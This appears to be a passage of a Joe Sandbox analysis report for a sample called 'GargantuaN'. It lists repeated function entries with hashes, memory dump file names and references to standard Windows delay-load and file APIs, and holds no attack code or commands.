Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d8b2b856571ca292340c1f02d6370c3e0199a20e45194a616ed2a3d60634c40c
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: d8b2b856571ca292340c1f02d6370c3e0199a20e45194a616ed2a3d60634c40c
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc435344897bbf2d613591a017095b9d37e04e56cf6f55ad5f3fab8064067843
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: cc435344897bbf2d613591a017095b9d37e04e56cf6f55ad5f3fab8064067843
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3b6b05ac4538ec92367510c95b80a8d16767be94476b8c9963cf3053673059de
Instruction ID: b4778b600c768bf0fa3c168faced2accb3882ec99a2e5c41d85b7274523fc5cb
Opcode Fuzzy Hash: 3b6b05ac4538ec92367510c95b80a8d16767be94476b8c9963cf3053673059de
Instruction Fuzzy Hash: 0CA001EA6A9242FE3548A2526D16C3B131DC4C6B61330996EF856C5485E8A4A84929B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8434583daaf2e3bd9c6f7b955825ec7ce556ecf26497222c1e7afa85722ff847
Instruction ID: 0406648fe4858102057d098e0f8c802a982b10e5a8149ab9a3c05a5c6d26fbc9
Opcode Fuzzy Hash: 8434583daaf2e3bd9c6f7b955825ec7ce556ecf26497222c1e7afa85722ff847
Instruction Fuzzy Hash: 27A001EA2A9152BE314862516E07C3B431DC4C2B26330A52EF865A6591EC90584A19B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 36b68720f046198f02c27fd7c5ab63abaabf1b836828ba9a7f645e2b25e85064
Instruction ID: 06d3c47baf0398ba0653f85e2aa3f595d30cf7a8302f4c3be7bbfdddd39a3e8d
Opcode Fuzzy Hash: 36b68720f046198f02c27fd7c5ab63abaabf1b836828ba9a7f645e2b25e85064
Instruction Fuzzy Hash: E1A001EA2A9152BE314862516E07C3B431DC4C6B62330A92EF856A6591E890584A19B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2fe184eddbcd9a27163e6c57fd8713d097cacbb65785b58a69a2c70ffdb740b6
Instruction ID: 06d3c47baf0398ba0653f85e2aa3f595d30cf7a8302f4c3be7bbfdddd39a3e8d
Opcode Fuzzy Hash: 2fe184eddbcd9a27163e6c57fd8713d097cacbb65785b58a69a2c70ffdb740b6
Instruction Fuzzy Hash: E1A001EA2A9152BE314862516E07C3B431DC4C6B62330A92EF856A6591E890584A19B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ae9efc515ac3e0870fb20c0945aa85ec0c14349bf7d5b049919707b02f74f37d
Instruction ID: 06d3c47baf0398ba0653f85e2aa3f595d30cf7a8302f4c3be7bbfdddd39a3e8d
Opcode Fuzzy Hash: ae9efc515ac3e0870fb20c0945aa85ec0c14349bf7d5b049919707b02f74f37d
Instruction Fuzzy Hash: E1A001EA2A9152BE314862516E07C3B431DC4C6B62330A92EF856A6591E890584A19B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc3fdc7cc90a41f0fad11f7d75a722c1fea8ce77bbc3989795dfc7470b1133bb
Instruction ID: 06d3c47baf0398ba0653f85e2aa3f595d30cf7a8302f4c3be7bbfdddd39a3e8d
Opcode Fuzzy Hash: cc3fdc7cc90a41f0fad11f7d75a722c1fea8ce77bbc3989795dfc7470b1133bb
Instruction Fuzzy Hash: E1A001EA2A9152BE314862516E07C3B431DC4C6B62330A92EF856A6591E890584A19B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f1422a8f8e5907020219d0840372642436c4d068d4d33ff6d2c5e30f83d46da5
Instruction ID: 06d3c47baf0398ba0653f85e2aa3f595d30cf7a8302f4c3be7bbfdddd39a3e8d
Opcode Fuzzy Hash: f1422a8f8e5907020219d0840372642436c4d068d4d33ff6d2c5e30f83d46da5
Instruction Fuzzy Hash: E1A001EA2A9152BE314862516E07C3B431DC4C6B62330A92EF856A6591E890584A19B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E580

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bf314098f21ab5582adb04463bdca086bee7a6a3c500479ba989ed36c0abdb59
Instruction ID: 10511869b50de81eb6122bd7fe746875c609e74b9730ec91e79dc64b66c15424
Opcode Fuzzy Hash: bf314098f21ab5582adb04463bdca086bee7a6a3c500479ba989ed36c0abdb59
Instruction Fuzzy Hash: 0AA011EA2AC022BE300822A22C03C3B030CC0C0B20330A82EF80282080F880080808B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E580

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ece90da1127bb054f10ae6b782a1feda3a77c01c43c1c289b3d61b57452da379
Instruction ID: 10511869b50de81eb6122bd7fe746875c609e74b9730ec91e79dc64b66c15424
Opcode Fuzzy Hash: ece90da1127bb054f10ae6b782a1feda3a77c01c43c1c289b3d61b57452da379
Instruction Fuzzy Hash: 0AA011EA2AC022BE300822A22C03C3B030CC0C0B20330A82EF80282080F880080808B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b2496eb0fb2252deb44312bb5af6bebf9f0e2cf9fd10945c5b4cd096f1aaf54f
Instruction ID: 3404c67906004f8ab61e7f90c3964a15160b1f72c66a1c94867dda70a3dd903e
Opcode Fuzzy Hash: b2496eb0fb2252deb44312bb5af6bebf9f0e2cf9fd10945c5b4cd096f1aaf54f
Instruction Fuzzy Hash: 8DA011EA2A8002BE30082200AC03C3B030CC0C2F20330A82EF802C00C0F8800C0808B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 11a7c29cca6697c13cb9873cfa5d13b0b2782b0d66dce165df10158d95d789b0
Instruction ID: 3404c67906004f8ab61e7f90c3964a15160b1f72c66a1c94867dda70a3dd903e
Opcode Fuzzy Hash: 11a7c29cca6697c13cb9873cfa5d13b0b2782b0d66dce165df10158d95d789b0
Instruction Fuzzy Hash: 8DA011EA2A8002BE30082200AC03C3B030CC0C2F20330A82EF802C00C0F8800C0808B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8b21305d0c62cfa0459bacd2ceaa58febefb890a4d979b703ae8d136e8166838
Instruction ID: 3404c67906004f8ab61e7f90c3964a15160b1f72c66a1c94867dda70a3dd903e
Opcode Fuzzy Hash: 8b21305d0c62cfa0459bacd2ceaa58febefb890a4d979b703ae8d136e8166838
Instruction Fuzzy Hash: 8DA011EA2A8002BE30082200AC03C3B030CC0C2F20330A82EF802C00C0F8800C0808B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E580

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 95dd0558ed3a995be87f110eb4115562451c7cdf9158b16db0fd10891576e30d
Instruction ID: ae3db18a6361cb2485784fa5d2bd661440d6e0bb705d10b86e80cdb8cea94dd0
Opcode Fuzzy Hash: 95dd0558ed3a995be87f110eb4115562451c7cdf9158b16db0fd10891576e30d
Instruction Fuzzy Hash: 77A011EA2A8020BE300822A22C03C3B030CC0C0B22330A22EF80282080F880080808B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E51F

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 384016d7d3606a94405f48b5897cc277a520b7f8e774d97a1e2a6a27d70f9b8b
Instruction ID: 3404c67906004f8ab61e7f90c3964a15160b1f72c66a1c94867dda70a3dd903e
Opcode Fuzzy Hash: 384016d7d3606a94405f48b5897cc277a520b7f8e774d97a1e2a6a27d70f9b8b
Instruction Fuzzy Hash: 8DA011EA2A8002BE30082200AC03C3B030CC0C2F20330A82EF802C00C0F8800C0808B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D59F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00D5903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00D59F0C

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
